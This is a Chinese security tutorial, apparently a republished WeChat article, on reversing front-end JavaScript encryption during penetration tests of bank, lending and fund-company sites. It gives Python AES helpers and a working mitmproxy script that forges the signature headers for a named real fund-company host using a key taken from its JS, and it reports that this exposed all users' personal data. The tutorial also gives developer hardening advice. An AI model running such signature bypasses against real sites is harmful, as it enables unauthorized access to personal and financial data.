JS逆向学习 | 加密站点的渗透测试

admin 2024年11月26日09:48:03评论38 views字数 7381阅读24分36秒阅读模式

加密站点的渗透测试

在银行、保险、证券、能源、通信等行业的IT系统中,使用数据加密传输、API接口保护、关键参数签名防篡改等保护手段都是比较常见。开发人员应用这些手段和技术,能大大增加攻击者的攻击成本。但这些手段却不能百之百防止“黑客”入侵,只能放缓攻击者的“破解”进程。本文将通过将一些实战案例,结合较为常见的前端加密场景与大家分享“道德黑客”是如何进行渗透测试工作。通过本次分享,渗透测试人员可以进一步学习各类密码算法、JS逆向等非传统网安领域的知识和技能;开发人员可以通过了解“不怀好意者”的“破解”技术细节,从而优化接口鉴权、WAAP、前后端数据交互等环节,提升系统的安全性。

JS逆向学习 | 加密站点的渗透测试

1、背景介绍

某xxx行智慧商家管理平台登录首页界面

JS逆向学习 | 加密站点的渗透测试
下图是在【手机验证登录】处通过 burpsuite 抓到的数据包,此时如果随意修改请求数据包,发送到服务端后会因无法解密或验签不通过而丢弃此次请求。针对手机号填写处,我们无法正常进行诸如SQL注入、XSS、逻辑漏洞等测试。所以解密数据包,是针对此类站点进行渗透测试的前置条件。

JS逆向学习 | 加密站点的渗透测试

2、前置知识点

  • • 1、浏览器开发者工具简单调试与js简要分析

JS逆向学习 | 加密站点的渗透测试

  • • 2、熟悉常见的加密算法

JS逆向学习 | 加密站点的渗透测试

  • • 3、编程语言基础(python、go、java),编写burpsuite 插件Burpy或autodecode 的配套脚本

JS逆向学习 | 加密站点的渗透测试

2.1、在浏览器中调试

使用快捷键 F12(Mac:Cmd+Opt+I)打开开发者工具

JS逆向学习 | 加密站点的渗透测试
更多参考信息:https://zh.javascript.info/debugging-chrome

2.2、JS逆向

全网或B站搜索:python爬虫JS逆向

爬虫工程师需要对抗反爬和风控体系,需要对前端的js进行逆向。跟渗透测试中的加密解密所需的js分析知识栈相通,看几节python爬虫JS逆向即能快速浅浅的入门js逆向 推荐视频:B站【治廷君】

2.3、常见的加密算法

1、哈希/散列 算法 MD5、SHA、HMAC、SM3 2、对称加密算法 AES、DES、SM4、ChaCha20、3DES、RC5、RC6 3、非对称加密算法 RSA、SM2、 ECC(椭圆曲线加密算法) 可以使用chatGPT 查找上述算法如何用python或Java代码实现

3、案例

3.1 【xx贷】登录处JS逆向分析

登录xx贷网站时,username和password内容被加密,这一小节的目标是,分析出加密用户名和密码的相关算法,如下图所示。

JS逆向学习 | 加密站点的渗透测试

3.1.1 XHR 断点

在Burpsuite 发现登录请求的url: https://passport.xxxx.com/xx/xx/xx/securityWeb 挑选特征明显的字段作为关键词,【 pwdLoginService 】,在浏览器开发者中添加XHR断点

JS逆向学习 | 加密站点的渗透测试
JS逆向学习 | 加密站点的渗透测试
点击登录后,浏览器发起XHR请求,将在设置好的xhr断点处断下。

JS逆向学习 | 加密站点的渗透测试

3.1.2 在【调用堆栈】中寻找加密临界点

checkImgValidataCode 函数对应的1682行位置,目标url,可在此处下断点,取消xhr断点,观察一下附近的数据变化。发现执行到此处时,password已经加密完毕,可以判断加密在调用该函数前的某处。

JS逆向学习 | 加密站点的渗透测试
调用堆栈,send() 为发起函数,在调用堆栈中寻找密文与明文的区间,加密算法必定在此区间内。在调用堆栈挨个下断点、取消断点,不断尝试登录,寻找临界点。

JS逆向学习 | 加密站点的渗透测试
缩小范围到了这个 1 区间

JS逆向学习 | 加密站点的渗透测试
找到了加密处:

password: e.$encrypt.encrypt(e.md5(e.Password)),
userName: e.$encrypt.encrypt(e.UserName)

JS逆向学习 | 加密站点的渗透测试

3.1.3、 分析加密算法

找到了加密函数

password: e.$encrypt.encrypt(e.md5(e.Password)),
userName: e.$encrypt.encrypt(e.UserName)

很明显,密码的加密逻辑是,先对密码明文进行md5 运算,再调用 e.$encrypt.encrypt() ,用户名则是直接调用 e.$encrypt.encrypt() 加密。在此处下断点,【单步】跟进: e.$encrypt.encrypt()

JS逆向学习 | 加密站点的渗透测试
很明显就是 RSA 加密算法,下一步就是寻找私(公)钥,如下图所示。

JS逆向学习 | 加密站点的渗透测试
JS逆向学习 | 加密站点的渗透测试
这个AES 还经过了改造,增加了一个 u() 函数,实际上这个u函数是一个变种的base64变换

JS逆向学习 | 加密站点的渗透测试
使用 chatGPT 和python还原 u() 函数,在chatGPT 给出的答案基础上进行手工修复。

JS逆向学习 | 加密站点的渗透测试
JS逆向学习 | 加密站点的渗透测试

3.1.4、 编写加密脚本

JS逆向学习 | 加密站点的渗透测试
JS逆向学习 | 加密站点的渗透测试

3.2、【某智慧商家管理平台】解密

本小节的目标是,解密请求包和响应包中的加密信息,修改请求体 body= 中的字段,重新加密后再发送

JS逆向学习 | 加密站点的渗透测试

3.2.1、网络 XHR

继续打开浏览器开发者调试工具,选择网络 -> Fetch/XHR,返回网页点击登录,看到 117101.app 的请求

JS逆向学习 | 加密站点的渗透测试

3.2.2、源代码搜索关键词

在有一定经验后,无需在一步步看堆栈区查找【临界点】,可直接在 源代码 所有文件搜索关键词,如:encrypt、decrypt、digest等等,具体情况具体的分析

JS逆向学习 | 加密站点的渗透测试

3.2.3、在可疑处下断点

登录时,触发断点,单步全走一遍

JS逆向学习 | 加密站点的渗透测试
调用堆栈,send() 为发起函数,在调用堆栈中寻找密文与明文的区间,加密算法必定在此区间内。在调用堆栈挨个下断点、取消断点,不断尝试登录,寻找临界点。

3.2.4、分析加密流程

登录时,触发断点,单步全走一遍

function e(t) {
                w()(this, e);
                var n = v.a.MD5(t.apiCode + t.head).toString();
                this.tempIv = v.a.enc.Utf8.parse(n.substring(0, 16)),
                this.tempKey = v.a.enc.Utf8.parse(n.substring(16))
            }
            return k()(e, [{
                key: "encrypt",
                value: function(e) {
                    return e && "{}" != e ? v.a.AES.encrypt(e, this.tempKey, {
                        iv: this.tempIv,
                        mode: v.a.mode.CBC,
                        padding: v.a.pad.Pkcs7
                    }).toString() : ""
                }
            }, {
                key: "decrypt",
                value: function(e) {
                    return v.a.AES.decrypt(e, this.tempKey, {
                        iv: this.tempIv,
                        mode: v.a.mode.CBC,
                        padding: v.a.pad.Pkcs7
                    }).toString(v.a.enc.Utf8)
                }
            }]),
            e
        }()

不难看出,这里是AES加密,使用的AES CBC加密模式 Padpkcs7填充模式,密码和向量的生成方式是:拼接 apiCode 和 head ,对拼接结果做md5 计算,取前 16位作为iv(向量),后16位为key(密码), 同时,解密也是共用这一套iv、key

那么apiCode 和 head 从哪里来呢?

3.2.4、分析加密流程

那么apiCode 和 head 从哪里来,下面两张图:

JS逆向学习 | 加密站点的渗透测试JS逆向学习 | 加密站点的渗透测试
完整前端加密流程图:

JS逆向学习 | 加密站点的渗透测试JS逆向学习 | 加密站点的渗透测试

3.2.5、burpsuite插件,Burpy

JS逆向学习 | 加密站点的渗透测试

3.2.5、Burpy 脚本编写介绍

需要用python写一个叫 Burpy 的类,在实现几个方法,如:encrypt、decrypt、processor 等,新增的方法会注册到 burpsuite 插件burpy的事件模块中。代码示例:

JS逆向学习 | 加密站点的渗透测试

3.2.5、编写代码,部分代码展示

解密部分,python 实现AES

JS逆向学习 | 加密站点的渗透测试

BLOCK_SIZE = 16  # Bytes
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * 
                chr(BLOCK_SIZE - len(s) % BLOCK_SIZE)  # PKCS7
unpad = lambda s: s[:-ord(s[len(s) - 1:])]  # PKSC7
def AES_Encrypt(data, key, iv):
    data = pad(data)
    # 字符串补位
    cipher = AES.new(key.encode('utf8'), AES.MODE_CBC, iv.encode('utf8'))
    encryptedbytes = cipher.encrypt(data.encode('utf8'))
    # 加密后得到的是bytes类型的数据,使用Base64进行编码,返回byte字符串
    encodestrs = base64.b64encode(encryptedbytes)
    # 对byte字符串按utf-8进行解码,并返回
    return encodestrs.decode('utf8')


def AES_Decrypt(data, key, iv):
    data = data.encode('utf8')
    encodebytes = base64.decodebytes(data)
    # 将加密数据转换位bytes类型数据
    cipher = AES.new(key.encode('utf8'), AES.MODE_CBC, iv.encode('utf8'))
    text_decrypted = cipher.decrypt(encodebytes)
    # 去补位
    text_decrypted = unpad(text_decrypted)  # unpad
    text_decrypted = text_decrypted.decode('utf8')
    return text_decrypted

3.2.6、加解密效果

请求体加解密效果

JS逆向学习 | 加密站点的渗透测试JS逆向学习 | 加密站点的渗透测试
响应体加解密效果

JS逆向学习 | 加密站点的渗透测试

3.3、突破某基金公司API接口保护案例

不仅是登录接口其他接口也存在数据校验,重发数据包后端服务器拒绝接受。

JS逆向学习 | 加密站点的渗透测试JS逆向学习 | 加密站点的渗透测试JS逆向学习 | 加密站点的渗透测试
分析前端逻辑 经过分析,在HTTP请求的Header中发现两个重要参数:Rtoken和Rsign Rtoken,是固定字符串拼接一个长度为10的随机字符串,再对做AES加密后的结果。AES的密钥和偏移量均可以在前端JS代码中找到。Rsign: 是对HTTP POST请求的请求体数据包计算sm3摘要信息。

JS逆向学习 | 加密站点的渗透测试JS逆向学习 | 加密站点的渗透测试
分析出加密和验签算法后,编写绕过脚本 使用python的mitmproxy模板,对中间人拦截的HTTP数据包进行处理


from mitmproxy import http
import random
import time
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import base64
import urllib.parse
from gmssl import sm3,func

RT_HOST = "wx.rtfund.com"

def request(flow: http.HTTPFlow) -> None:
    headers = flow.request.headers
    body = flow.request.content
    host = flow.request.host

    if flow.request.method == "POST" and host == RT_HOST:
        headers['Rtoken'] = get_r_token()
        str_body = body.decode("utf-8")
        headers['Rsign'] = get_rt_sign(str_body)

        print("url:",flow.request.url)
        print("Rtoken:",headers['Rtoken'])
        print("Rsign:",headers['Rsign'])
        print("body:",str_body)
        print("=" * 50)

def response(flow: http.HTTPFlow) -> None:
    host = flow.request.host
    if host == RT_HOST:
        print("Response intercepted:")
        print(f"URL: {flow.request.url}")
        print(f"Status Code: {flow.response.status_code}")
        print("Headers:")
        for key, value in flow.response.headers.items():
            print(f"  {key}: {value}")
        print("Content:")
        print(flow.response.content.decode("utf-8", "replace"))
        print("=" * 50)
    
def AES_CBC_PKCS7(text,key = 'B49A86FA425D439d', iv = 'B49A86FA425D439d'):
    """
    text : 需要加密的明文
    key : 密钥
    iv : 向量(偏移量)
    """
    # CBC 模式
    cipher = AES.new(key.encode(), AES.MODE_CBC, iv.encode())
    # pkcs7 填充
    padded_text = pad(text.encode(), AES.block_size, style='pkcs7')
    ciphertext = cipher.encrypt(padded_text)
    return base64.b64encode(ciphertext).decode()

# 随机字符串生成
generate_random = lambda n: "".join(random.choice("0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ") for _ in range(n))

def get_r_token():
    try:
        e = "rtwxapp" + "|" + str(int(time.time()) * 1000) + "|" + generate_random(10)
        # print(e)
        encryData = AES_CBC_PKCS7(e)
        return urllib.parse.quote(encryData) # encodeURIComponent

    except Exception as e:
        print(e)

def get_rt_sign(n):
    # 进行两次URL解码
    decoded_str = urllib.parse.unquote(urllib.parse.unquote(n))
    #print(decoded_str)
    # 对解码后的字符串按照 & 分割,排序后再连接起来
    sorted_str = "&".join(sorted(decoded_str.split("&"))) + "&key=rtmsite"
    #print(sorted_str)
    # 计算 sm3 摘要
    data_byte = sorted_str.encode('utf-8')
    hash_data = sm3.sm3_hash(func.bytes_to_list(data_byte))
    return hash_data

if __name__ == "__main__":
    print(get_r_token())
    print(get_rt_sign("123"))

发现该站点全部用户四要素信息泄露

JS逆向学习 | 加密站点的渗透测试JS逆向学习 | 加密站点的渗透测试JS逆向学习 | 加密站点的渗透测试

4、总结

一、攻击方视角 熟悉常见加密和摘要算法,能使用熟悉的编程语言编写加解密代码 入门JS逆向,掌握常用前端调试方法 不放过JS文件中留下的蛛丝马迹,比如:各种key、接口信息等

二、开发者视角 对API接口进行严格鉴权,使用多种算法进行验签 前后端使用多套算法混合加密或签名,定期更换 前端对关键部位代码进行混淆加密,必要时关键代码放在jsVMP中执行 加强接口调用监控

某银行使用的前端加密解密流程图,可供参考,前端加密流程图:

JS逆向学习 | 加密站点的渗透测试

  •  

原文始发于微信公众号(KQsec):JS逆向学习 | 加密站点的渗透测试

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月26日09:48:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   JS逆向学习 | 加密站点的渗透测试https://cn-sec.com/archives/3437496.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息